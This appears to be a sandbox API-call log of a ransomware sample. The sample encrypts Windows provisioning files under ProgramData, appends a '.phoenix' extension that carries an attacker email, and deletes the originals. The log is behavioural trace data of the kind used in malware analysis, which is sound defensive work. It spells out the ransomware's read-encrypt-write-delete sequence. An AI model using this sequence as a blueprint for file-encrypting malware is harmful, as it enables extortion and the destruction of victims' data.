	[0252.834] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.834] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\493__connections_cellular_suncom (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0252.834] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0252.834] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.834] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x28e, lpOverlapped=0x0) returned 1
	[0252.842] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290, dwBufLen=0x290 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x290) returned 1
	[0252.842] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x290, lpOverlapped=0x0) returned 1
	[0252.843] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0252.843] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.843] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0252.843] CryptDestroyKey (hKey=0x151380) returned 1
	[0252.843] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0252.843] CryptDestroyKey (hKey=0x151640) returned 1
	[0252.843] CloseHandle (hObject=0x2d8) returned 1
	[0252.843] CloseHandle (hObject=0x2b4) returned 1
	[0252.843] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\493__Connections_Cellular_SunCom (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\493__connections_cellular_suncom (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.851] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.851] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\495__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0252.852] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0252.852] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.852] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1cb, lpOverlapped=0x0) returned 1
	[0252.853] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1d0) returned 1
	[0252.853] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1d0, lpOverlapped=0x0) returned 1
	[0252.854] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0252.854] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.854] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0252.854] CryptDestroyKey (hKey=0x151380) returned 1
	[0252.854] WriteFile (in: hFile=0x2f0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0252.854] CryptDestroyKey (hKey=0x151640) returned 1
	[0252.854] CloseHandle (hObject=0x2b4) returned 1
	[0252.854] CloseHandle (hObject=0x2f0) returned 1
	[0252.854] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\495__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\495__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0252.857] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.857] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.857] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\497__connections_cellular_t-mobile usa_ idt (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0252.860] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0252.860] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.860] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d7, lpOverlapped=0x0) returned 1
	[0252.927] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0252.927] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0252.928] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0252.928] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.928] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0252.928] CryptDestroyKey (hKey=0x151640) returned 1
	[0252.928] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0252.929] CryptDestroyKey (hKey=0x151140) returned 1
	[0252.929] CloseHandle (hObject=0x2b4) returned 1
	[0252.929] CloseHandle (hObject=0x2c0) returned 1
	[0252.929] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\497__Connections_Cellular_T-Mobile USA_ IDT (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\497__connections_cellular_t-mobile usa_ idt (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0252.931] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.931] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.931] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\49__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0252.931] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1515c0) returned 1
	[0252.931] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.932] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d8, lpOverlapped=0x0) returned 1
	[0252.932] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0252.932] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0252.933] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1516c0) returned 1
	[0252.933] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.933] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0252.933] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0252.933] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0252.933] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0252.933] CloseHandle (hObject=0x2c0) returned 1
	[0252.934] CloseHandle (hObject=0x2b4) returned 1
	[0252.934] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\49__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\49__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0252.935] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.935] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0252.935] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\4__connections_cellular_claro (argentina)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0252.936] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151640) returned 1
	[0252.936] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0252.936] ReadFile (in: hFile=0x2b4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x307, lpOverlapped=0x0) returned 1
	[0253.074] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310, dwBufLen=0x310 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310) returned 1
	[0253.074] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x310, lpOverlapped=0x0) returned 1
	[0253.075] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0253.075] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.075] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0253.075] CryptDestroyKey (hKey=0x151740) returned 1
	[0253.075] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0253.075] CryptDestroyKey (hKey=0x151640) returned 1
	[0253.075] CloseHandle (hObject=0x2b4) returned 1
	[0253.075] CloseHandle (hObject=0x2c0) returned 1
	[0253.075] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\4__Connections_Cellular_Claro (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\4__connections_cellular_claro (argentina)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.076] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.076] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.077] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=723) returned 1
	[0253.077] CloseHandle (hObject=0x2c0) returned 1
	[0253.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.077] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0253.077] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.077] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.077] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0253.078] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151280) returned 1
	[0253.078] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.078] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d3, lpOverlapped=0x0) returned 1
	[0253.146] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0253.146] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0253.147] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1514c0) returned 1
	[0253.147] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.147] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0, dwBufLen=0xd0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xd0) returned 1
	[0253.147] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0253.147] WriteFile (in: hFile=0x2b4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x182, lpOverlapped=0x0) returned 1
	[0253.147] CryptDestroyKey (hKey=0x151280) returned 1
	[0253.147] CloseHandle (hObject=0x2c0) returned 1
	[0253.147] CloseHandle (hObject=0x2b4) returned 1
	[0253.147] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\502__Connections_Cellular_T-Mobile USA_ ASpider (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\502__connections_cellular_t-mobile usa_ aspider (united states)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.148] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.148] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0253.149] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=724) returned 1
	[0253.149] CloseHandle (hObject=0x2b4) returned 1
	[0253.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.149] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\504__Connections_Cellular_T-Mobile USA_ Solavei (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\504__connections_cellular_t-mobile usa_ solavei (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
